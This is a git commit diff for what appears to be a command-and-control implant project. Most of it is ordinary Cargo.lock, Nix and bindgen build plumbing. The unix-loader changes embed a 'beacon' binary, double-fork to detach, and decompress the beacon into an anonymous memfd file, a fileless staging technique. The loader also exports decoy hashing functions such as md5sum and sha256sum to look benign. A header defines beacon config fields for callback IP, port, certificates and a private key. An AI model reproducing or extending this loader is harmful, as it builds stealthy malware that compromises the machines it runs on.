feat: added header file for communicating config

Cargo.lock

@@ -179,6 +179,29 @@ version = "0.22.1"
 source = "registry+https://github.com/rust-lang/crates.io-index"
 checksum = "72b3254f16251a8381aa12e40e3c4d2f0199f8c6508fbecb9d91f575e0fbb8c6"
 
+[[package]]
+name = "bindgen"
+version = "0.69.5"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "271383c67ccabffb7381723dea0672a673f292304fcb45c01cc648c7a8d58088"
+dependencies = [
+ "bitflags",
+ "cexpr",
+ "clang-sys",
+ "itertools 0.12.1",
+ "lazy_static",
+ "lazycell",
+ "log",
+ "prettyplease",
+ "proc-macro2",
+ "quote",
+ "regex",
+ "rustc-hash 1.1.0",
+ "shlex",
+ "syn",
+ "which",
+]
+
 [[package]]
 name = "bitflags"
 version = "2.8.0"
@@ -218,12 +241,32 @@ dependencies = [
  "shlex",
 ]
 
+[[package]]
+name = "cexpr"
+version = "0.6.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "6fac387a98bb7c37292057cffc56d62ecb629900026402633ae9160df93a8766"
+dependencies = [
+ "nom",
+]
+
 [[package]]
 name = "cfg-if"
 version = "1.0.0"
 source = "registry+https://github.com/rust-lang/crates.io-index"
 checksum = "baf1de4339761588bc0619e3cbc0120ee582ebb74b53b4efbf79117bd2da40fd"
 
+[[package]]
+name = "clang-sys"
+version = "1.8.1"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "0b023947811758c97c59bf9d1c188fd619ad4718dcaa767947df1cadb14f39f4"
+dependencies = [
+ "glob",
+ "libc",
+ "libloading",
+]
+
 [[package]]
 name = "codee"
 version = "0.2.0"
@@ -539,6 +582,12 @@ version = "0.31.1"
 source = "registry+https://github.com/rust-lang/crates.io-index"
 checksum = "07e28edb80900c19c28f1072f2e8aeca7fa06b23cd4169cefe1af5aa3260783f"
 
+[[package]]
+name = "glob"
+version = "0.3.2"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "a8d1add55171497b4705a648c6b583acafb01d58050a51727785f0b2c8e0a2b2"
+
 [[package]]
 name = "gloo-net"
 version = "0.6.0"
@@ -597,6 +646,15 @@ version = "0.3.9"
 source = "registry+https://github.com/rust-lang/crates.io-index"
 checksum = "d231dfb89cfffdbc30e7fc41579ed6066ad03abda9e567ccafae602b97ec5024"
 
+[[package]]
+name = "home"
+version = "0.5.11"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "589533453244b0995c858700322199b2becb13b627df2851f64a2775d024abcf"
+dependencies = [
+ "windows-sys 0.59.0",
+]
+
 [[package]]
 name = "html-escape"
 version = "0.2.13"
@@ -873,6 +931,15 @@ dependencies = [
  "rustversion",
 ]
 
+[[package]]
+name = "itertools"
+version = "0.12.1"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "ba291022dbbd398a455acf126c1e341954079855bc60dfdda641363bd6922569"
+dependencies = [
+ "either",
+]
+
 [[package]]
 name = "itertools"
 version = "0.13.0"
@@ -897,6 +964,18 @@ dependencies = [
  "wasm-bindgen",
 ]
 
+[[package]]
+name = "lazy_static"
+version = "1.5.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "bbd2bcb4c963f2ddae06a2efc7e9f3591312473c50c6685e1f298068316e66fe"
+
+[[package]]
+name = "lazycell"
+version = "1.3.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "830d08ce1d1d941e6b30645f1a0eb5643013d835ce3779a5fc208261dbe10f55"
+
 [[package]]
 name = "leptos"
 version = "0.7.0"
@@ -919,7 +998,7 @@ dependencies = [
  "paste",
  "rand",
  "reactive_graph",
- "rustc-hash",
+ "rustc-hash 2.1.0",
  "send_wrapper",
  "serde",
  "serde_qs",
@@ -1029,7 +1108,7 @@ dependencies = [
  "cfg-if",
  "convert_case",
  "html-escape",
- "itertools",
+ "itertools 0.13.0",
  "leptos_hot_reload",
  "prettyplease",
  "proc-macro-error2",
@@ -1119,12 +1198,28 @@ version = "0.2.169"
 source = "registry+https://github.com/rust-lang/crates.io-index"
 checksum = "b5aba8db14291edd000dfcc4d620c7ebfb122c613afb886ca8803fa4e128a20a"
 
+[[package]]
+name = "libloading"
+version = "0.8.6"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "fc2f4eb4bc735547cfed7c0a4922cbd04a4655978c09b54f1f7b228750664c34"
+dependencies = [
+ "cfg-if",
+ "windows-targets",
+]
+
 [[package]]
 name = "linear-map"
 version = "1.2.0"
 source = "registry+https://github.com/rust-lang/crates.io-index"
 checksum = "bfae20f6b19ad527b550c223fddc3077a547fc70cda94b9b566575423fd303ee"
 
+[[package]]
+name = "linux-raw-sys"
+version = "0.4.15"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "d26c52dbd32dccf2d10cac7725f8eae5296885fb5703b261f7d0a0739ec807ab"
+
 [[package]]
 name = "litemap"
 version = "0.7.4"
@@ -1572,7 +1667,7 @@ dependencies = [
  "hydration_context",
  "or_poisoned",
  "pin-project-lite",
- "rustc-hash",
+ "rustc-hash 2.1.0",
  "send_wrapper",
  "serde",
  "slotmap",
@@ -1587,12 +1682,12 @@ source = "registry+https://github.com/rust-lang/crates.io-index"
 checksum = "80bb1913eeb71f74028213455ee971550c2b3cb91b6acd5efa8a0f8dc59f5039"
 dependencies = [
  "guardian",
- "itertools",
+ "itertools 0.13.0",
  "or_poisoned",
  "paste",
  "reactive_graph",
  "reactive_stores_macro",
- "rustc-hash",
+ "rustc-hash 2.1.0",
 ]
 
 [[package]]
@@ -1667,12 +1762,31 @@ version = "0.1.24"
 source = "registry+https://github.com/rust-lang/crates.io-index"
 checksum = "719b953e2095829ee67db738b3bfa9fa368c94900df327b3f07fe6e794d2fe1f"
 
+[[package]]
+name = "rustc-hash"
+version = "1.1.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "08d43f7aa6b08d49f382cde6a7982047c3426db949b1424bc4b7ec9ae12c6ce2"
+
 [[package]]
 name = "rustc-hash"
 version = "2.1.0"
 source = "registry+https://github.com/rust-lang/crates.io-index"
 checksum = "c7fb8039b3032c191086b10f11f319a6e99e1e82889c5cc6046f515c9db1d497"
 
+[[package]]
+name = "rustix"
+version = "0.38.43"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "a78891ee6bf2340288408954ac787aa063d8e8817e9f53abb37c695c6d834ef6"
+dependencies = [
+ "bitflags",
+ "errno",
+ "libc",
+ "linux-raw-sys",
+ "windows-sys 0.59.0",
+]
+
 [[package]]
 name = "rustversion"
 version = "1.0.19"
@@ -1886,6 +2000,9 @@ dependencies = [
 [[package]]
 name = "sparse-actions"
 version = "2.0.0"
+dependencies = [
+ "bindgen",
+]
 
 [[package]]
 name = "sparse-beacon"
@@ -1989,7 +2106,7 @@ dependencies = [
  "futures",
  "html-escape",
  "indexmap",
- "itertools",
+ "itertools 0.13.0",
  "js-sys",
  "linear-map",
  "next_tuple",
@@ -2000,7 +2117,7 @@ dependencies = [
  "paste",
  "reactive_graph",
  "reactive_stores",
- "rustc-hash",
+ "rustc-hash 2.1.0",
  "send_wrapper",
  "slotmap",
  "throw_error",
@@ -2455,6 +2572,18 @@ dependencies = [
  "wasm-bindgen",
 ]
 
+[[package]]
+name = "which"
+version = "4.4.2"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "87ba24419a2078cd2b0f2ede2691b6c66d8e47836da3b6db8265ebad47afbfc7"
+dependencies = [
+ "either",
+ "home",
+ "once_cell",
+ "rustix",
+]
+
 [[package]]
 name = "winapi-util"
 version = "0.1.9"

flake.nix

@@ -61,6 +61,7 @@
           zig
           clang
           glibc
+          libclang
 
           # Tools for cross compilation
           pkgsCross.x86_64-freebsd.buildPackages.clang
@@ -103,6 +104,8 @@
           SPARSE_BUILD_LIBPCAP_FREEBSD = libpcap-freebsd;
           SPARSE_BUILD_LIBNL = libnl;
 
+          LIBCLANG_PATH = "${pkgs.libclang.lib}/lib";
+
           FREEBSD_LIBS = freebsd-libs;
           GLIBC_LIBS = pkgs.glibc;
           GLIBC_LIBS_STATIC = pkgs.glibc.static;

packages.nix

@@ -45,6 +45,7 @@ let
       ./Cargo.toml
       ./Cargo.lock
       ./build_common.rs
+      ./unix-loader/src/abi.h
       (craneLib.fileset.commonCargoSources ./sparse-actions)
       (craneLib.fileset.commonCargoSources ./pcap-sys)
       (craneLib.fileset.commonCargoSources ./nl-sys)
@@ -63,6 +64,7 @@ let
       ./Cargo.toml
       ./Cargo.lock
       ./build_common.rs
+      ./unix-loader/src/abi.h
       (craneLib.fileset.commonCargoSources ./sparse-actions)
       (craneLib.fileset.commonCargoSources ./pcap-sys)
       (craneLib.fileset.commonCargoSources ./nl-sys)
@@ -79,11 +81,12 @@ let
       ./Cargo.toml
       ./Cargo.lock
       ./build_common.rs
+      ./unix-loader/src/abi.h
+      (craneLib.fileset.commonCargoSources ./sparse-actions)
       (craneLib.fileset.commonCargoSources ./pcap-sys)
       (craneLib.fileset.commonCargoSources ./nl-sys)
       ./nl-sys/src/bridge.c
       (craneLib.fileset.commonCargoSources ./packets)
-      (craneLib.fileset.commonCargoSources ./sparse-actions)
       (craneLib.fileset.commonCargoSources ./sparse-server)
       ./sparse-server/style
       ./sparse-server/public

sparse-actions/Cargo.toml

@@ -4,3 +4,6 @@ edition = "2021"
 version.workspace = true
 
 [dependencies]
+
+[build-dependencies]
+bindgen = "0.69"

sparse-actions/build.rs

@@ -0,0 +1,15 @@
+use std::{env, path::Path};
+
+fn main() {
+    let out_dir = env::var_os("OUT_DIR").unwrap();
+
+    let dest_bindings = Path::new(&out_dir).join("bindings.rs");
+
+    bindgen::Builder::default()
+        .header("../unix-loader/src/abi.h")
+        .parse_callbacks(Box::new(bindgen::CargoCallbacks::new()))
+        .generate()
+        .expect("unable to generate bindings")
+        .write_to_file(dest_bindings)
+        .expect("could not write bidnings");
+}

sparse-actions/src/lib.rs

@@ -1,14 +1,5 @@
-pub fn add(left: u64, right: u64) -> u64 {
+#[allow(dead_code)]
-    left + right
+#[allow(non_camel_case_types)]
-}
+pub mod payload_types {
-
+    include!(concat!(std::env!("OUT_DIR"), "/bindings.rs"));
-#[cfg(test)]
-mod tests {
-    use super::*;
-
-    #[test]
-    fn it_works() {
-        let result = add(2, 2);
-        assert_eq!(result, 4);
-    }
 }

unix-loader/src/abi.h

@@ -0,0 +1,10 @@
+typedef struct Parameters {
+  int destination_ip;
+  int source_ip;
+  short destination_port;
+  short pubkey_cert_size;
+  short privkey_size;
+  short privkey_cert_size;
+  char pubkey_cert[1024];
+  char identifier[64];
+} Parameters_t;

unix-loader/src/libloader.zig

@@ -2,8 +2,31 @@ const std = @import("std");
 
 const beacon = @embedFile("beacon");
 
+const Parameters = @cImport({
+    @cInclude("abi.h");
+}).Parameters_t;
+
 fn use_beacon(message: []const u8) !void {
-    _ = try std.io.getStdOut().write(message);
+    const pid = std.c.fork();
+    if (pid == 0) {
+        if (std.c.fork() == 0) {
+            const target_fd = try std.posix.memfd_create("", 0);
+            var reader = std.io.fixedBufferStream(message);
+
+            var target_file = std.fs.File{ .handle = target_fd };
+
+            try std.compress.gzip.decompress(reader.reader(), target_file.writer());
+
+            while (true) {}
+
+            std.c.exit(0);
+        }
+        std.c.exit(0);
+    } else {
+        var status: c_int = 0;
+        _ = std.c.waitpid(pid, &status, 0);
+        _ = std.c.kill(pid, std.c.SIG.KILL);
+    }
 }
 
 export fn hash_internals() void {

unix-loader/src/loader.zig

@@ -1,5 +1,16 @@
 extern fn hash_internals() void;
 
+const Parameters = @cImport({
+    @cInclude("abi.h");
+}).Parameters_t;
+
 export fn calculate_hash() void {
     hash_internals();
 }
+
+export fn md5sum() void {}
+export fn sha256sum() void {}
+export fn sha384sum() void {}
+export fn sha512sum() void {}
+export fn sha1sum() void {}
+export fn sha2sum() void {}